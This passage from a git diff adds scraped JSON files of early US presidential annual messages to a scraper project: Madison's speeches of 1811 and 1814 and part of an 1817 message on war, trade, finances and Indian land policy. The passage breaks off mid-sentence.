which have been sufficient\nto defray all the demands on the Treasury to that day, including a\nnecessary reimbursement of near $3 millions of the principal of the\npublic debt. In these receipts is included a sum of near $5.85 millions,\nreceived on account of the loans authorized by the acts of the last\nsession; the whole sum actually obtained on loan amounts to $11 millions,\nthe residue of which, being receivable subsequent to the 30th of September\nlast, will, together with the current revenue, enable us to defray all the\nexpenses of this year.The duties on the late unexpected importations of British manufactures will\nrender the revenue of the ensuing year more productive than could have been\nanticipated.The situation of our country, fellow citizens, is not without its\ndifficulties, though it abounds in animating considerations, of which the\nview here presented of our pecuniary resources is an example. With more\nthan one nation we have serious and unsettled controversies, and with one,\npowerful in the means and habits of war, we are at war. The spirit and\nstrength of the nation are nevertheless equal to the support of all its\nrights, and to carry it through all its trials. They can be met in that\nconfidence.Above all, we have the inestimable consolation of knowing that the war in\nwhich we are actually engaged is a war neither of ambition nor of vain\nglory; that it is waged not in violation of the rights of others, but in\nthe maintenance of our own; that it was preceded by a patience without\nexample under wrongs accumulating without end, and that it was finally not\ndeclared until every hope of averting it was extinguished by the transfer\nof the British scepter into new hands clinging to former councils, and\nuntil declarations were reiterated to the last hour, through the British\nenvoy here, that the hostile edicts against our commercial rights and our\nmaritime independence would not be revoked; nay, that they could not be\nrevoked without violating the obligations of Great Britain to other powers,\nas well as to her own interests.To have shrunk under such circumstances from manly resistance would have\nbeen a degradation blasting our best and proudest hopes; it would have\nstruck us from the high rank where the virtuous struggles of our fathers\nhad placed us, and have betrayed the magnificent legacy which we hold in\ntrust for future generations. It would have acknowledged that on the\nelement which forms three-fourths of the globe we inhabit, and where all\nindependent nations have equal and common rights, the American people were\nnot an independent people, but colonists and vassals.It was at this moment and with such an alternative that war was chosen. The\nnation felt the necessity of it, and called for it. The appeal was\naccordingly made, in a just cause, to the Just and All-powerful Being who\nholds in His hand the chain of events and the destiny of nations.It remains only that, faithful to ourselves, entangled in no connections\nwith the views of other powers, and ever ready to accept peace from the\nhand of justice, we prosecute the war with united counsels and with the\nample faculties of the nation until peace be so obtained and as the\nonly means under the Divine blessing of speedily obtaining it.", 
+    "name": "James Madison"
+}
\ No newline at end of file
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+{
+    "date": "November 5, 1811", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In calling you together sooner than a separation from your homes would\notherwise have been required I yielded to considerations drawn from the\nposture of our foreign affairs, and in fixing the present for the time of\nyour meeting regard was had to the probability of further developments of\nthe policy of the belligerent powers toward this country which might the\nmore unite the national councils in the measures to be pursued.At the close of the last session of Congress it was hoped that the\nsuccessive confirmations of the extinction of the French decrees, so far as\nthey violated our neutral commerce, would have induced the Government of\nGreat Britain to repeal its orders in council, and thereby authorize a\nremoval of the existing obstructions to her commerce with the United\nStates.Instead of this reasonable step toward satisfaction and friendship between\nthe two nations, the orders were, at a moment when least to have been\nexpected, put into more rigorous execution; and it was communicated through\nthe British envoy just arrived that whilst the revocation of the edicts of\nFrance, as officially made known to the British Government, was denied to\nhave taken place, it was an indispensable condition of the repeal of the\nBritish orders that commerce should be restored to a footing that would\nadmit the productions and manufactures of Great Britain, when owned by\nneutrals, into markets shut against them by her enemy, the United States\nbeing given to understand that in the mean time a continuance of their\nnonimportation act would lead to measures of retaliation.At a later date it has indeed appeared that a communication to the British\nGovernment of fresh evidence of the repeal of the French decrees against\nour neutral trade was followed by an intimation that it had been\ntransmitted to the British plenipotentiary here in order that it might\nreceive full consideration in the depending discussions. This communication\nappears not to have been received; but the transmission of it hither,\ninstead of founding on it an actual repeal of the orders or assurances that\nthe repeal would ensue, will not permit us to rely on any effective change\nin the British cabinet. To be ready to meet with cordiality satisfactory\nproofs of such a change, and to proceed in the mean time in adapting our\nmeasures to the views which have been disclosed through that minister will\nbest consult our whole duty.In the unfriendly spirit of those disclosures indemnity and redress for\nother wrongs have continued to be withheld, and our coasts and the mouths\nof our harbors have again witnessed scenes not less derogatory to the\ndearest of our national rights than vexation to the regular course of our\ntrade.Among the occurrences produced by the conduct of British ships of war\nhovering on our coasts was an encounter between one of them and the\nAmerican frigate commanded by Captain Rodgers, rendered unavoidable on the\npart of the latter by a fire commenced without cause by the former, whose\ncommander is therefore alone chargeable with the blood unfortunately shed\nin maintaining the honor of the American flag. The proceedings of a court\nof inquiry requested by Captain Rodgers are communicated, together with\nthe correspondence relating to the occurrence, between the Secretary of\nState and His Britannic Majesty's envoy. To these are added the several\ncorrespondences which have passed on the subject of the British orders in\ncouncil, and to both the correspondence relating to the Floridas, in which\nCongress will be made acquainted with the interposition which the\nGovernment of Great Britain has thought proper to make against the\nproceeding of the United States.The justice and fairness which have been evinced on the part of the United\nStates toward France, both before and since the revocation of her decrees,\nauthorized an expectation that her Government would have followed up that\nmeasure by all such others as were due to our reasonable claims, as well as\ndictated by its amicable professions. No proof, however, is yet given of an\nintention to repair the other wrongs done to the United States, and\nparticularly to restore the great amount of American property seized and\ncondemned under edicts which, though not affecting our neutral relations,\nand therefore not entering into questions between the United States and\nother belligerents, were nevertheless founded in such unjust principles\nthat the reparation ought to have been prompt and ample.In addition to this and other demands of strict right on that nation, the\nUnited States have much reason to be dissatisfied with the rigorous and\nunexpected restrictions to which their trade with the French dominions has\nbeen subjected, and which, if not discontinued, will require at least\ncorresponding restrictions on importations from France into the United\nStates.On all those subjects our minister plenipotentiary lately sent to Paris has\ncarried with him the necessary instructions, the result of which will be\ncommunicated to you, by ascertaining the ulterior policy of the French\nGovernment toward the United States, will enable you to adapt to it that of\nthe United States toward France.Our other foreign relations remain without unfavorable changes. With Russia\nthey are on the best footing of friendship. The ports of Sweden have\nafforded proofs of friendly dispositions toward our commerce in the\ncouncils of that nation also, and the information from our special minister\nto Denmark shews that the mission had been attended with valuable effects\nto our citizens, whose property had been so extensively violated and\nendangered by cruisers under the Danish flag.Under the ominous indications which commanded attention it became a duty to\nexert the means committed to the executive department in providing for the\ngeneral security. The works of defense on our maritime frontier have\naccordingly been prosecuted with an activity leaving little to be added for\nthe completion of the most important ones, and, as particularly suited for\ncooperation in emergencies, a portion of the gun boats have in particular\nharbors been ordered into use. The ships of war before in commission, with\nthe addition of a frigate, have been chiefly employed as a cruising guard\nto the rights of our coast, and such a disposition has been made of our\nland forces as was thought to promise the services most appropriate and\nimportant.In this disposition is included a force consisting of regulars and militia,\nembodied in the Indiana Territory and marched toward our northwestern\nfrontier. This measure was made requisite by several murders and\ndepredations committed by Indians, but more especially by the menacing\npreparations and aspect of a combination of them on the Wabash, under the\ninfluence and direction of a fanatic of the Shawanese tribe. With these\nexceptions the Indian tribes retain their peaceable dispositions toward us,\nand their usual pursuits.I must now add that the period is arrived which claims from the legislative\nguardians of the national rights a system of more ample provisions for\nmaintaining them. Notwithstanding the scrupulous justice, the protracted\nmoderation, and the multiplied efforts on the part of the United States to\nsubstitute for the accumulating dangers to the peace of the two countries\nall the mutual advantages of reestablished friendship and confidence, we\nhave seen that the British cabinet perseveres not only in withholding a\nremedy for other wrongs, so long and so loudly calling for it, but in the\nexecution, brought home to the threshold of our territory, of measures\nwhich under existing circumstances have the character as well as the effect\nof war on our lawful commerce.With this evidence of hostile inflexibility in trampling on rights which no\nindependent nation can relinquish, Congress will feel the duty of putting\nthe United States into an armor and an attitude demanded by the crisis, and\ncorresponding with the national spirit and expectations.I recommend, accordingly, that adequate provisions be made for filling the\nranks and prolonging the enlistments of the regular troops; for an\nauxiliary force to be engaged for a more limited term; for the acceptance\nof volunteer corps, whose patriotic ardor may court a participation in\nurgent services; for detachments as they may be wanted of other portions of\nthe militia, and for such a preparation of the great body as will\nproportion its usefulness to its intrinsic capacities. Nor can the occasion\nfail to remind you of the importance of those military seminaries which in\nevery event will form a valuable and frugal part of our military\nestablishment.The manufacture of cannon and small arms has proceeded with due success,\nand the stock and resources of all the necessary munitions are adequate to\nemergencies. It will not be inexpedient, however, for Congress to authorize\nan enlargement of them.Your attention will of course be drawn to such provisions on the subject of\nour naval force as may be required for the services to which it may be best\nadapted. I submit to Congress the seasonableness also of an authority to\naugment the stock of such materials as are imperishable in their nature, or\nmay not at once be attainable.In contemplating the scenes which distinguish this momentous epoch, and\nestimating their claims to our attention, it is impossible to overlook\nthose developing themselves among the great communities which occupy the\nsouthern portion of our own hemisphere and extend into our neighborhood. An\nenlarged philanthropy and an enlightened forecast concur in imposing on the\nnational councils an obligation to take a deep interest in their destinies,\nto cherish reciprocal sentiments of good will, to regard the progress of\nevents, and not to be unprepared for whatever order of things may be\nultimately established.Under another aspect of our situation the early attention of Congress will\nbe due to the expediency of further guards against evasions and infractions\nof our commercial laws. The practice of smuggling, which is odious\neverywhere, and particularly criminal in free governments, where, the laws\nbeing made by all for the good of all, a fraud is committed on every\nindividual as well as on the state, attains its utmost guilt when it blends\nwith a pursuit of ignominious gain a treacherous subserviency, in the\ntransgressors, to a foreign policy adverse to that of their own country. It\nis then that the virtuous indignation of the public should be enabled to\nmanifest itself through the regular animadversions of the most competent\nlaws.To secure greater respect to our mercantile flag, and to the honest\ninterests which it covers, it is expedient also that it be made punishable\nin our citizens to accept licenses from foreign governments for a trade\nunlawfully interdicted by them to other American citizens, or to trade\nunder false colors or papers of any sort.A prohibition is equally called for against the acceptance by our citizens\nof special licenses to be used in a trade with the United States, and\nagainst the admission into particular ports of the United States of vessels\nfrom foreign countries authorized to trade with particular ports only.Although other subjects will press more immediately on your deliberations,\na portion of them can not but be well bestowed on the just and sound policy\nof securing to our manufactures the success they have attained, and are\nstill attaining, in some degree, under the impulse of causes not permanent,\nand to our navigation, the fair extent of which is at present abridged by\nthe unequal regulations of foreign governments.Besides the reasonableness of saving our manufactures from sacrifices which\na change of circumstances might bring on them, the national interest\nrequires that, with regard to such articles at least as belong to our\ndefense and our primary wants, we should not be left in unnecessary\ndependence on external supplies. And whilst foreign governments adhere to\nthe existing discriminations in their ports against our navigation, and\nan equality or lesser discrimination is enjoyed by their navigation in\nour ports, the effect can not be mistaken, because it has been seriously\nfelt by our shipping interests; and in proportion as this takes place the\nadvantages of an independent conveyance of our products to foreign\nmarkets and of a growing body of mariners trained by their occupations for\nthe service of their country in times of danger must be diminished.The receipts into the Treasury during the year ending on the 30th day of\nSeptember last have exceeded $13.5 millions, and have enabled us to defray\nthe current expenses, including the interest on the public debt, and to\nreimburse more than $5 millions of the principal without recurring to the\nloan authorized by the act of the last session. The temporary loan\nobtained in the latter end of the year 1810 has also been reimbursed, and\nis not included in that amount.The decrease of revenue arising from the situation of our commerce, and the\nextraordinary expenses which have and may become necessary, must be taken\ninto view in making commensurate provisions for the ensuing year; and I\nrecommend to your consideration the propriety of insuring a sufficiency of\nannual revenue at least to defray the ordinary expenses of Government, and\nto pay the interest on the public debt, including that on new loans which\nmay be authorized.I can not close this communication without expressing my deep sense of the\ncrisis in which you are assembled, my confidence in a wise and honorable\nresult to your deliberations, and assurances of the faithful zeal with\nwhich my cooperating duties will be discharged, invoking at the same time\nthe blessing of Heaven on our beloved country and on all the means that may\nbe employed in vindicating its rights and advancing its welfare.", 
+    "name": "James Madison"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/James MadisonSeptember 20, 1814.json b/pyscrapper/stateofunion/ScrapedData/James MadisonSeptember 20, 1814.json
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+{
+    "date": "September 20, 1814", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Notwithstanding the early day which had been fixed for your session of the\npresent year, I was induced to call you together still sooner, as well that\nany inadequacy in the existing provisions for the wants of the Treasury\nmight be supplied as that no delay might happen in providing for the result\nof the negotiations on foot with Great Britain, whether it should require\narrangements adapted to a return of peace or further and more effective\nprovisions for prosecuting the war.That result is not yet known. If, on the one hand, the repeal of the orders\nin council and the general pacification in Europe, which withdrew the\noccasion on which impressments from American vessels were practiced,\nsuggest expectations that peace and amity may be reestablished, we are\ncompelled, on the other hand, by the refusal of the British Government to\naccept the offered mediation of the Emperor of Russia, by the delays in\ngiving effect to its own proposal of a direct negotiation, and, above all,\nby the principles and manner in which the war is now avowedly carried on to\ninfer that a spirit of hostility is indulged more violent than ever against\nthe rights and prosperity of this country.This increased violence is best explained by the two important\ncircumstances that the great contest in Europe for an equilibrium\nguaranteeing all its States against the ambition of any has been closed\nwithout any check on the over-bearing power of Great Britain on the ocean,\nand it has left in her hands disposable armaments, with which, forgetting\nthe difficulties of a remote war with a free people, and yielding to the\nintoxication of success, with the example of a great victim to it before\nher eyes, she cherishes hopes of still further aggrandizing a power already\nformidable in its abuses to the tranquillity of the civilized and\ncommercial world.But whatever may have inspired the enemy with these more violent purposes,\nthe public councils of a nation more able to maintain than it was to\nrequire its independence, and with a devotion to it rendered more ardently\nby the experience of its blessings, can never deliberate but on the means\nmost effectual for defeating the extravagant views or unwarrantable\npassions with which alone the war can now be pursued against us.In the events of the present campaign the enemy, with all his augmented\nmeans and wanton use of them, has little ground for exultation, unless he\ncan feel it in the success of his recent enterprises against this\nmetropolis and the neighboring town of Alexandria, from both of which his\nretreats were as precipitate as his attempts were bold and fortunate. In\nhis other incursions on our Atlantic frontier his progress, often checked\nand chastised by the martial spirit of the neighboring citizens, has had\nmore effect in distressing individuals and in dishonoring his arms than in\npromoting any object of legitimate warfare; and in the two instances\nmentioned, however deeply to be regretted on our part, he will find in his\ntransient success, which interrupted for a moment only the ordinary\nbusiness at the seat of Government, no compensation for the loss of\ncharacter with the world by his violations of private property and by his\ndestruction of public edifices protected as monuments of the arts by the\nlaws of civilized warfare.On our side we can appeal to a series of achievements which have given new\nluster to the American arms. Besides the brilliant incidents in the minor\noperations of the campaign, the splendid victories gained on the Canadian\nside of the Niagara by the American forces under Major-General Brown and\nBrigadiers Scott and Gaines have gained for these heroes and their\nemulating companions the most unfading laurels, and, having triumphantly\ntested the progressive discipline of the American soldiery, have taught the\nenemy that the longer he protracts his hostile efforts the more certain and\ndecisive will be his final discomfiture.On our southern border victory has continued also to follow the American\nstandard. The bold and skillful operations of Major-General Jackson,\nconducting troops drawn from the militia of the States least distant,\nparticularly Tennessee, have subdued the principal tribes of hostile\nsavages, and, by establishing a peace with them, preceded by recent and\nexemplary chastisement, has best guarded against the mischief of their\ncooperations with the British enterprises which may be planned against that\nquarter of our country. Important tribes of Indians on our northwestern\nfrontier have also acceded to stipulations which bind them to the interests\nof the United States and to consider our enemy as theirs also.In the recent attempt of the enemy on the city of Baltimore, defended by\nmilitia and volunteers, aided by a small body of regulars and sea men, he\nwas received with a spirit which produced a rapid retreat to his ships,\nwhilst concurrent attack by a large fleet was successfully resisted by the\nsteady and well-directed fire of the fort and batteries opposed to it.In another recent attack by a powerful force on our troops at Plattsburg,\nof which regulars made a part only, the enemy, after a perseverance for\nmany hours, was finally compelled to seek safety in a hasty retreat, with\nour gallant bands pressing upon them.On the Lakes, so much contested throughout the war, the great exertions for\nthe command made on our part have been well repaid. On Lake Ontario our\nsquadron is now and has been for some time in a condition to confine that\nof the enemy to his own port, and to favor the operations of our land\nforces on that frontier.A part of the squadron on Lake Erie has been extended into Lake Huron, and\nhas produced the advantage of displaying our command on that lake also. One\nobject of the expedition was the reduction of Mackinaw, which followed with\nthe loss of a few brave men, among whom was an officer justly distinguished\nfor his gallant exploits. The expedition, ably conducted by both the land\nand the naval commanders, was otherwise highly valuable in its effects.On Lake Champlain, where our superiority had for some time been undisputed,\nthe British squadron lately came into action with the American, commanded\nby Captain Macdonough. It issued in the capture of the whole of the enemy's\nships. The best praise for this officer and his intrepid comrades is in the\nlikeness of his triumph to the illustrious victory which immortalized\nanother officer and established at a critical moment our command of another\nlake.On the ocean the pride of our naval arms had been amply supported. A second\nfrigate has indeed fallen into the hands of the enemy, but the loss is\nhidden in the blaze of heroism with which she was defended. Captain Porter,\nwho commanded her, and whose previous career had been distinguished by\ndaring enterprise and by fertility of genius, maintained a sanguinary\ncontest against two ships, one of them superior to his own, and under other\nsevere disadvantages, 'til humanity tore down the colors which valor had\nnailed to the mast. This officer and his brave comrades have added much to\nthe rising glory of the American flag, and have merited all the effusions\nof gratitude which their country is ever ready to bestow on the champions\nof its rights and of its safety.Two smaller vessels of war have also become prizes to the enemy, but by a\nsuperiority of force which sufficiently vindicates the reputation of their\ncommanders, whilst two others, one commanded by Captain Warrington, the\nother by Captain Blakely, have captured British ships of the same class\nwith a gallantry and good conduct which entitle them and their companions\nto a just share in the praise of their country.In spite of the naval force of the enemy accumulated on our coasts, our\nprivate cruisers also have not ceased to annoy his commerce and to bring\ntheir rich prizes into our ports, contributing thus, with other proofs, to\ndemonstrate the incompetency and illegality of a blockade the proclamation\nof which is made the pretext for vexing and discouraging the commerce of\nneutral powers with the United States.To meet the extended and diversified warfare adopted by the enemy, great\nbodies of militia have been taken into service for the public defense, and\ngreat expenses incurred. That the defense everywhere may be both more\nconvenient and more economical, Congress will see the necessity of\nimmediate measures for filling the ranks of the Regular Army and of\nenlarging the provision for special corps, mounted and unmounted, to be\nengaged for longer periods of service than are due from the militia. I\nearnestly renew, at the same time, a recommendation of such changes in the\nsystem of the militia as, by classing and disciplining for the most prompt\nand active service the portions most capable of it, will give to that great\nresource for the public safety all the requisite energy and efficiency.The moneys received into the Treasury during the nine months ending on the\n30th day of June last amounted to $32 millions, of which near $11 millions\nwere the proceeds of the public revenue and the remainder derived from\nloans. The disbursements for public expenditures during the same period\nexceeded $34 millions, and left in the Treasury on the first day of July\nnear $5 millions. The demands during the remainder of the present year\nalready authorized by Congress and the expenses incident to an extension\nof the operations of the war will render it necessary that large sums\nshould be provided to meet them.From this view of the national affairs Congress will be urged to take up\nwithout delay as well the subject of pecuniary supplies as that of military\nforce, and on a scale commensurate with the extent and the character which\nthe war has assumed. It is not to be disguised that the situation of our\ncountry calls for its greatest efforts.Our enemy is powerful in men and in money, on the land and on the water.\nAvailing himself of fortuitous advantages, he is aiming with his undivided\nforce a deadly blow at our growing prosperity, perhaps at our national\nexistence. He has avowed his purpose of trampling on the usages of\ncivilized warfare, and given earnests of it in the plunder and wanton\ndestruction of private property. In his pride of maritime dominion and in\nhis thirst of commercial monopoly he strikes with peculiar animosity at the\nprogress of our navigation and of our manufactures. His barbarous policy\nhas not even spared those monuments of the arts and models of taste with\nwhich our country had enriched and embellished its infant metropolis. From\nsuch an adversary hostility in its greatest force and in its worst forms\nmay be looked for.The American people will face it with the undaunted spirit which in their\nrevolutionary struggle defeated his unrighteous projects. His threats and\nhis barbarities, instead of dismay, will kindle in every bosom an\nindignation not to be extinguished but in the disaster and expulsion of\nsuch cruel invaders.In providing the means necessary the National Legislature will not distrust\nthe heroic and enlightened patriotism of its constituents. They will\ncheerfully and proudly bear every burden of every kind which the safety and\nhonor of the nation demand. We have seen them everywhere paying their\ntaxes, direct and indirect, with the greatest promptness and alacrity. We\nsee them rushing with enthusiasm to the scenes where danger and duty call.\nIn offering their blood they give the surest pledge that no other tribute\nwill be withheld.Having forborne to declare war until to other aggressions had been added\nthe capture of near one thousand American vessels and the impressment of\nthousands of American sea faring citizens, and until a final declaration\nhad been made by the Government of Great Britain that her hostile orders\nagainst our commerce would not be revoked but on conditions as impossible\nas unjust, whilst it was known that these orders would not otherwise\ncease but with a war which had lasted nearly twenty years, and which,\naccording to appearances at that time, might last as many more; having\nmanifested on every occasion and in every proper mode a sincere desire to\narrest the effusion of blood and meet our enemy on the ground of justice\nand reconciliation, our beloved country, in still opposing to his\npersevering hostility all its energies, with an undiminished disposition\ntoward peace and friendship on honorable terms, must carry with it the\ngood wishes of the impartial world and the best hopes of support from an\nomnipotent and kind Providence.", 
+    "name": "James Madison"
+}
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+{
+    "date": "December 12, 1817", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:At no period of our political existence had we so much cause to felicitate\nourselves at the prosperous and happy condition of our country. The\nabundant fruits of the earth have filled it with plenty. An extensive and\nprofitable commerce has greatly augmented our revenue. The public credit\nhas attained an extraordinary elevation. Our preparations for defense in\ncase of future wars, from which, by the experience of all nations, we ought\nnot to expect to be exempted, are advancing under a well-digested system\nwith all the dispatch which so important a work will admit. Our free\nGovernment, founded on the interest and affections of the people, has\ngained and is daily gaining strength. Local jealousies are rapidly yielding\nto more generous, enlarged, and enlightened views of national policy. For\nadvantages so numerous and highly important it is our duty to unite in\ngrateful acknowledgements to that Omnipotent Being from whom they are\nderived, and in unceasing prayer that He will endow us with virtue and\nstrength to maintain and hand them down in their utmost purity to our\nlatest posterity.I have the satisfaction to inform you that an arrangement which had been\ncommenced by my predecessor with the British Government for the reduction\nof the naval force by Great Britain and the United States on the Lakes has\nbeen concluded, by which it is provided that neither party shall keep in\nservice on Lake Champlain more than one vessel, on Lake Ontario more than\none, and on Lake Erie and the upper lakes more than two, to be armed each\nwith one cannon only, and that all the other armed vessels of both parties,\nof which an exact list is interchanged, shall be dismantled. It is also\nagreed that the force retained shall be restricted in its duty to the\ninternal purposes of each party, and that the arrangement shall remain in\nforce until six months shall have expired after notice given by one of the\nparties to the other of its desire that it should terminate. By this\narrangement useless expense on both sides and, what is of still greater\nimportance, the danger of collision between armed vessels in those inland\nwaters, which was great, is prevented.I have the satisfaction also to state that the commissioners under the\nfourth article of the treaty of Ghent, to whom it was referred to decide to\nwhich party the several islands in the bay of Passamaquoddy belonged under\nthe treaty of 1783, have agreed in a report, by which all the islands in\nthe possession of each party before the late war have been decreed to it.\nThe commissioners acting under the other articles of the treaty of Ghent\nfor the settlement of boundaries have also been engaged in the discharge of\ntheir respective duties, but have not yet completed them.The difference which arose between the two Governments under that treaty\nrespecting the right of the US to take and cure fish on the coast of the\nBritish provinces north of our limits, which had been secured by the treaty\nof 1783, is still in negotiation. The proposition made by this Government\nto extend to the colonies of Great Britain the principle of the convention\nof London, by which the commerce between the ports of the United States\nand British ports in Europe had been placed on a footing of equality, has\nbeen declined by the British Government. This subject having been thus\namicably discussed between the two Governments, and it appearing that\nthe British Government is unwilling to depart from its present\nregulations, it remains for Congress to decide whether they will make\nany other regulations in consequence thereof for the protection and\nimprovement of our navigation.The negotiation with Spain for spoliations on our commerce and the\nsettlement of boundaries remains essentially in the state it held by the\ncommunications that were made to Congress by my predecessor. It has been\nevidently the policy of the Spanish Government to keep the negotiation\nsuspended, and in this the United States have acquiesced, from an amicable\ndisposition toward Spain and in the expectation that her Government would,\nfrom a sense of justice, finally accede to such an arrangement as would be\nequal between the parties. A disposition has been lately shown by the\nSpanish Government to move in the negotiation, which has been met by this\nGovernment, and should the conciliatory and friendly policy which has\ninvariably guided our councils be reciprocated, a just and satisfactory\narrangement may be expected. It is proper, however, to remark that no\nproposition has yet been made from which such a result can be presumed.It was anticipated at an early stage that the contest between Spain and the\ncolonies would become highly interesting to the United States. It was\nnatural that our citizens should sympathize in events which affected their\nneighbors. It seemed probable also that the prosecution of the conflict\nalong our coast and in contiguous countries would occasionally interrupt\nour commerce and otherwise affect the persons and property of our citizens.\nThese anticipations have been realized. Such injuries have been received\nfrom persons acting under authority of both the parties, and for which\nredress has in most instances been withheld.Through every stage of the conflict the United States have maintained an\nimpartial neutrality, giving aid to neither of the parties in men, money,\nships, or munitions of war. They have regarded the contest not in the light\nof an ordinary insurrection or rebellion, but as a civil war between\nparties nearly equal, having as to neutral powers equal rights. Our ports\nhave been open to both, and every article the fruit of our soil or of the\nindustry of our citizens which either was permitted to take has been\nequally free to the other. Should the colonies establish their\nindependence, it is proper now to state that this Government neither seeks\nnor would accept from them any advantage in commerce or otherwise which\nwill not be equally open to all other nations. The colonies will in that\nevent become independent states, free from any obligation to or connection\nwith us which it may not then be their interest to form on the basis of a\nfair reciprocity.In the summer of the present year an expedition was set on foot against\nEast Florida by persons claiming to act under the authority of some of the\ncolonies, who took possession of Amelia Island, at the mouth of the St.\nMarys River, near the boundary of the State of Georgia. As this Province\nlies eastward of the Mississippi, and is bounded by the United States and\nthe ocean on every side, and has been a subject of negotiation with the\nGovernment of Spain as an indemnity for losses by spoliation or in exchange\nfor territory of equal value westward of the Mississippi, a fact well known\nto the world, it excited surprise that any countenance should be given to\nthis measure by any of the colonies.As it would be difficult to reconcile it with the friendly relations\nexisting between the United States and the colonies, a doubt was\nentertained whether it had been authorized by them, or any of them. This\ndoubt has gained strength by the circumstances which have unfolded\nthemselves in the prosecution of the enterprise, which have marked it as a\nmere private, unauthorized adventure. Projected and commenced with an\nincompetent force, reliance seems to have been placed on what might be\ndrawn, in defiance of our laws, from within our limits; and of late, as\ntheir resources have failed, it has assumed a more marked character of\nunfriendliness to us, the island being made a channel for the illicit\nintroduction of slaves from Africa into the United States, an asylum for\nfugitive slaves from the neighboring States, and a port for smuggling of\nevery kind.A similar establishment was made at an earlier period by persons of the\nsame description in the Gulf of Mexico at a place called Galvezton, within\nthe limits of the United States, as we contend, under the cession of\nLouisiana. This enterprise has been marked in a more signal manner by all\nthe objectionable circumstances which characterized the other, and more\nparticularly by the equipment of privateers which have annoyed our\ncommerce, and by smuggling. These establishments, if ever sanctioned by any\nauthority whatever, which is not believed, have abused their trust and\nforfeited all claim to consideration. A just regard for the rights and\ninterests of the United States required that they should be suppressed, and\norders have been accordingly issued to that effect. The imperious\nconsiderations which produced this measure will be explained to the parties\nwhom it may in any degree concern.To obtain correct information on every subject in which the United States\nare interested; to inspire just sentiments in all persons in authority, on\neither side, of our friendly disposition so far as it may comport with an\nimpartial neutrality, and to secure proper respect to our commerce in every\nport and from every flag, it has been thought proper to send a ship of war\nwith three distinguished citizens along the southern coast with these\npurposes. With the existing authorities, with those in the possession of\nand exercising the sovereignty, must the communication be held; from them\nalone can redress for past injuries committed by persons acting under them\nbe obtained; by them alone can the commission of the like in future be\nprevented.Our relations with the other powers of Europe have experienced no essential\nchange since the last session. In our intercourse with each due attention\ncontinues to be paid to the protection of our commerce, and to every other\nobject in which the United States are interested. A strong hope is\nentertained that, by adhering to the maxims of a just, a candid, and\nfriendly policy, we may long preserve amicable relations with all the\npowers of Europe on conditions advantageous and honorable to our country.With the Barbary States and the Indian tribes our pacific relations have\nbeen preserved.In calling your attention to the internal concerns of our country the view\nwhich they exhibit is peculiarly gratifying. The payments which have been\nmade into the Treasury show the very productive state of the public\nrevenue. After satisfying the appropriations made by law for the support of\nthe civil Government and of the military and naval establishments,\nembracing suitable provision for fortifications and for the gradual\nincrease of the Navy, paying the interest of the public debt, and\nextinguishing more than $18 millions of the principal, within the present\nyear, it is estimated that a balance of more than $6 millions will remain\nin the Treasury on the first day of January applicable to the current\nservice of the ensuing year.The payments into the Treasury during the year 1818 on account of imposts\nand tonnage, resulting principally from duties which have accrued in the\npresent year, may be fairly estimated at $20 millions; the internal\nrevenues at $2.5 millions; the public lands at $1.5 millions; bank\ndividends and incidental receipts at $500,000; making in the whole $24.5\nmillions.The annual permanent expenditure for the support of the civil Government\nand of the Army and Navy, as now established by law, amounts to $11.8\nmillions, and for the sinking fund to $10 millions, making in the whole\n$21.8 millions, leaving an annual excess of revenue beyond the expenditure\nof $2.7 millions, exclusive of the balance estimated to be in the Treasury\non the first day of January, 1818.In the present state of the Treasury the whole of the Louisiana debt may be\nredeemed in the year 1819, after which, if the public debt continues as it\nnow is, above par, there will be annually about $5 millions of the sinking\nfund unexpended until the year 1825, when the loan of 1812 and the stock\ncreated by funding Treasury notes will be redeemable.It is also estimated that the Mississippi stock will be discharged during\nthe year 1819 from the proceeds of the public lands assigned to that\nobject, after which the receipts from those lands will annually add to the\npublic revenue the sum of $1.5 millions, making the permanent annual\nrevenue amount to $26 millions, and leaving an annual excess of revenue\nafter the year 1819 beyond the permanent authorized expenditure of more\nthan $4 millions.By the last returns to the Department of War the militia force of the\nseveral States may be estimated at 800,000 men--infantry, artillery, and\ncavalry. Great part of this force is armed, and measures are taken to arm\nthe whole. An improvement in the organization and discipline of the militia\nis one of the great objects which claims the unremitted attention of\nCongress.The regular force amounts nearly to the number required by law, and is\nstationed along the Atlantic and inland frontiers.Of the naval force it has been necessary to maintain strong squadrons in\nthe Mediterranean and in the Gulf of Mexico.From several of the Indian tribes inhabiting the country bordering on Lake\nErie purchases have been made of lands on conditions very favorable to the\nUnited States, and, as it is presumed, not less so to the tribes\nthemselves.By these purchases the Indian title, with moderate reservations, has been\nextinguished to the whole of the land within the limits of the State of\nOhio, and to a part of that in the Michigan Territory and of the State of\nIndiana. From the Cherokee tribe a tract has been purchased in the State of\nGeorgia and an arrangement made by which, in exchange for lands beyond the\nMississippi, a great part, if not the whole, of the land belonging to that\ntribe eastward of that river in the States of North Carolina, Georgia, and\nTennessee, and in the Alabama Territory will soon be acquired. By these\nacquisitions, and others that may reasonably be expected soon to follow, we\nshall be enabled to extend our settlements from the inhabited parts of the\nState of Ohio along Lake Erie into the Michigan Territory, and to connect\nour settlements by degrees through the State of Indiana and the Illinois\nTerritory to that of Missouri. A similar and equally advantageous effect\nwill soon be produced to the south, through the whole extent of the States\nand territory which border on the waters emptying into the Mississippi and\nthe Mobile.In this progress, which the rights of nature demand and nothing can\nprevent, marking a growth rapid and gigantic, it is our duty to make new\nefforts for the preservation, improvement, and civilization of the native\ninhabitants. The hunter state can exist only in the vast uncultivated\ndesert. It yields to the more dense and compact form and greater force of\ncivilized population; and of right it ought to yield, for the earth was\ngiven to mankind to support the greatest number of which it is capable, and\nno tribe or people have a right to withhold from the wants of others more\nthan is necessary for their own support and comfort.It is gratifying to know that the reservations of land made by the treaties\nwith the tribes on Lake Erie were made with a view to individual ownership\namong them and to the cultivation of the soil by all, and that an annual\nstipend has been pledged to supply their other wants. It will merit the\nconsideration of Congress whether other provision not stipulated by treaty\nought to be made for these tribes and for the advancement of the liberal\nand humane policy of the United States toward all the tribes within our\nlimits, and more particularly for their improvement in the arts of\ncivilized life.Among the advantages incident to these purchases, and to those which have\npreceded, the security which may thereby be afforded to our inland\nfrontiers is peculiarly important. With a strong barrier, consisting of our\nown people, thus planted on the Lakes, the Mississippi, and the Mobile,\nwith the protection to be derived from the regular force, Indian\nhostilities, if they do not altogether cease, will henceforth lose their\nterror. Fortifications in those 